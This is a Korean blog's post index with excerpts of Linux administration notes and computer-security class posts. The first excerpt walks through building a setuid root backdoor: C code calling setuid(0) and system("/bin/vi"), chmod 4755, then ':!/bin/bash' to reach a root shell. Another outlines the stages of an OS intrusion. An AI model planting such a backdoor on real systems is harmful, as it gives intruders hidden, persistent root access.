반응형

전체 글 276

Setuid를 이용한 백도어 만들기(2)-백도어를 만드는 또 다른 방법들

이번에는 백도어를 만드는 두번째 방법입니다. 먼저 backvi.c라는 파일을 vi로 만들어줍니다. #vi backvi.c 그리고 내부에 다음 코드를 입력합니다. #include main(){ setuid(0); setgid(0); system("/bin/vi"); } #gcc -o backvi backvi.c 명령어로 코딩한 것을 컴파일합니다. #chmod 4755 backvi 로 백도어의 접근권한을 바꿔주고 setuid설정을 해줍니다. 이제 백도어가 만들어졌습니다. 일반사용자 모드로 접속하여 백도어를 실행시켜봅니다. $./backvi ㄴ 위와 같은 화면이 뜨면 :!/bin/bash 를 입력하고 enter를 눌러봅니다. 깔끔하게 루트 권한으로 넘어갔네요! 다음은 세번째 방법입니다. 먼저 #vi backe..

Setuid를 이용한 백도어 만들기(1) (Fedora Linux 상에서)

오늘은 컴퓨터 보안 수업시간에 배운 백도어 만드는 방법에 대해 포괄적으로 포스팅 해보겠습니다. 적지 않은 양이니 며칠에 걸쳐 써야 할지도 모르겠네요. 그럼 시작하겠습니다. 백도어(Backdoor) 백도어는 말 그대로 '뒷문'이라는 뜻입니다. 원래는 시스템 관리자가 관리·보수 상의 편의를 위해 만들어 놓은 보안 구멍을 가르키는 말입니다만, 흔히 해커가 루트 권한을 딴 후 나중에 쉽게 재침입 하기 위해 만들어 놓은 뒷문을 일컫는 데 쓰이곤 합니다. 백도어의 종류도 여러가지고, 만드는 방법 역시 많지만 이 글에서는 제가 배운 setuid를 이용한 백도어 생성에 대해 소개하겠습니다. 먼저, 이 방법에서 가장 핵심 개념인 setuid란 무엇일까요? setuid모드란 파일을 어떤 사용자의 권한으로 실행할 지를 설정..

(보안 상식) OS 해킹의 절차

해커들이 해킹하는 과정에는 단계가 있습니다. 여러가지 방법이 있겠지만 크게 세가지로 구분됩니다. 1단계: 대상 설정 및 내부 침입 1단계에서 해커는 우선 해킹할 대상을 선정한 후, 취약점을 수집합니다. 그리고 호스트 내부에 침입하여 쉘을 사용할 수 있는 일반 사용자 권한을 획득합니다. 여기서 쉘(Shell)이란 사용자의 명령어를 해석하여 시스템에게 전달하는 도구라고 보시면 됩니다. 2단계: 특권 사용자 권한 획득 2단계에서 해커는 호스트의 특권 사용자 권한, 흔히 말하는 루트(root) 사용자 권한을 획득합니다. 획득 방법으로는 전에 만들어놨던 백도어를 이용하는 방법이나, Exploit(루트 권한 획득 툴)을 이용하는 방법, 루트 암호를 크랙하는 방법 등 여러가지가 있습니다. 루트 권한을 획득하였다면 1..

유닉스 파일시스템

1. UNIX 파일 시스템의 구조 -unix 파일 시스템은 User Data와 Meta Data로 구분 할 수 있다. User 데이터는 실제로 파일에 저장되어 있는 일반적인 데이터를 뜻하며, Meta 데이터는 파일 시스템의 정보나 다른파일 시스템의 Meta 데이터를 포함 하는 파일과 관련된 정보 들이다. Meta Data 에 포함 되는 영역은 다음과 같다. -Superblock 파일 시스템의 첫머리 부근에 있는 8KB 크기의 디스크 블록으로 파일 시스템에 대한 일반적인 정보를 가지는 영역이다. 파일시스템의 타입(type), 크기(size), 상태(status) 그밖의 다른 파일 시스템의 metadata structure 에 대한 포인터 등의 정보를 포함한다.이러한 슈퍼 블록은 중요한 정보를 가지고 있기 ..

linux2 2013.02.15

9일차 nfs

이전 시간에 fstab에 대해서 진행하며 UUID부분에 마운트 위치를 적어줘도 되지만 UUID를 사용하는 이유는 물리적값을 직접 적음으로써 scsi와 IDE 타입이 혼재된 시스템에서 장치명이 렌덤으로 바껴 야기되는 혼란을 피할 수 있다. SCSI끼리는 괜찮다. 그러나 IDE가 추가되면 IDE가 sda와 같이 sd*중 가장 앞자리로 할당되고 scsi는 모두 뒤로 하나씩 밀린다. 그러나 두 번째부터는 렌덤으로 할당된다. UUID는 유닉스 관련 파일시스템인 GTP 파티션의 GUID와 유사하며 윈도우는 아래와 같이 할당된다. C:\Users\Administrator>bcdedit Windows 부팅 로더 ------------------- identifier {current} device partition=C:..

linux2 2013.02.14

시스템 주요파일 복구방법(fstab,passwd,shadow)

passwd의 경우 passwd- 라는 백업파일본이 존재한다. shadow는 이 passwd를 기반으로 pwconv로 동기화시켜줄 수 있다. pwunconv시 수정할 수 없다. fstab의 경우 조금 복잡하다. 먼저 fstab이 날라간 후 재부팅시 부팅이 되지 않는다. 이때 설치CD를 삽입한 후(일반적으로 1번 CD) f2번을 연타해 cmos의 bios프로그램으로 으로 들어간다. 여기서 +나 -를 활용해 cd부팅을 1순위로 올린다. 재부팅 시, 설치 때 나타나는 화면이 나타난다. 여기서 rescue모드로 들어가거나 esc를 눌러서 boot:rescue linux 라고 입력하면 자동으로 sysimage(하드 이미지)가 마운트된다.(/mnt/sysimage) CD(change directoy)명령어로 /mn..

linux2 2013.02.14

8일차, SCP(secure Copy)

※ scp이용시 유의사항 * ssh 설정파일 내 "보안설정(PermitRootLogin=no)"이 적용된 서버는 사용자로 로그인해야 한다. -> 권한에 대한 제약이 발생 (sftp와 유사) => 파일 전송시 업/다운로드 관련 DIR 및 file의 권한 scp -r (강제로 옮긴다. cp와 동일함) -p (소유권, 허가권, 파일 생성 정보등을 모두 가지고 옮긴다.) 사용법: scp 192.168.117.150:/backup/fstab /backup (x.x.x.200에 150에 있는 /backup/fstab 파일을 다운) scp /backup/fstab 192.168.117.200:/backup/ (x.x.x.150에 있는 fstab을 200에 업로드) 파일의 쓰기 권한(w)를 수정시 소유권(root.ro..

linux2 2013.02.14

[부팅과정] 퍼왔죠

CentOS 5.8 부팅 ▶ POWER ON 메인보드의 ROM-BIOS에 있는 BIOS 프로그램이 실행 ▶ BIOS 프로그램 실행 POST 기능수행과 HDD, CD-ROM, USB 등 부팅매체의 GRUB를 호출 - POST(자체진단기능) CMOS 검사, CPU, RAM, GPU 등 각종 장치들의 이상유무 진단 후 하드웨어를 초기화 - 부팅 매체 검색 HDD, CD/DVD-ROM, FDD, USB 등에서 부트로더(GRUB)를 호출 - BIOS 프로그램 종료 ▶ 부트로더(GRUB) 실행 /boot/grub/grub.conf 설정파일이 부팅할 운영체제 또는 커널 선택화면을 출력 - Kernel 이미지를 호출 ▶ Kernel 실행 선택한 운영체제의 Kernel 을 메모리에 로드 - swapper(PID 0 프로..

linux2 2013.02.13

응급복구 trouble shooting!! <fstab, passwd, shadow>

Rescue에서 ① passwd -가장 쉽게 /etc|grep passwd // passwd와 passwd - ②shadow는 pwunconv = 명령어를 사용시 shadow를 사용하지 못하게함 shadow-가 생성 pwconv를 사용시 passwd를 참조하여 shadow를 생성함. ③◇응급 복구 p151 - 시스템의 종요한 파일을 환경 설정하는 경우 잘못하면 시스템이 부팅되지 않는 상황이 발생할 수도 있다. 이러한 일을 대비하여 Centos cd1를 이용한 응급 복구 -재부팅 -CentOS 1번 CD를 넣어 부팅 설치 모드에서 boot : linux rescue -부팅 환경 설정 사용 언어 - 영어 키보드 - US 네트워크 설정 - NO 복구 모드 시작 ==> Continue 선택 -보안을 위해 가상의..

linux2 2013.02.13

리눅스 -명령어모음(퍼왔죠)

#예제 사진이나 글은 전부 제가 타이핑 작성한 것이니 왠만하면 퍼가지 말아주셨으면 합니다. [배운내용] 리눅스 서버에서 프로그렘 지원받아 설치하기 #yum -y install 파일명 //명령어 [ yum -y install 프로그램이름 ] //인터넷에서 다운받는 것임으로 인터넷이 안되면 사용 불가능 예제 yum -y install tree // 이 명령어는 tree 명령어를 사용하기 위한 프로그렘을 다운받는 명령어 tree 명령어 tree 경로 // 사용시 해당경로의 폴더와 파일들은 트리구조로 보여줌 예제) tree /tmp 리눅스 기본명령어 pwd clear cd ls 나 dir cat touch mkdir rm rmdir cp mv 위의 11개의 명령어와 각 옵션 명령어 공부 1. pwd 자신이 현재..

linux2 2013.02.13
반응형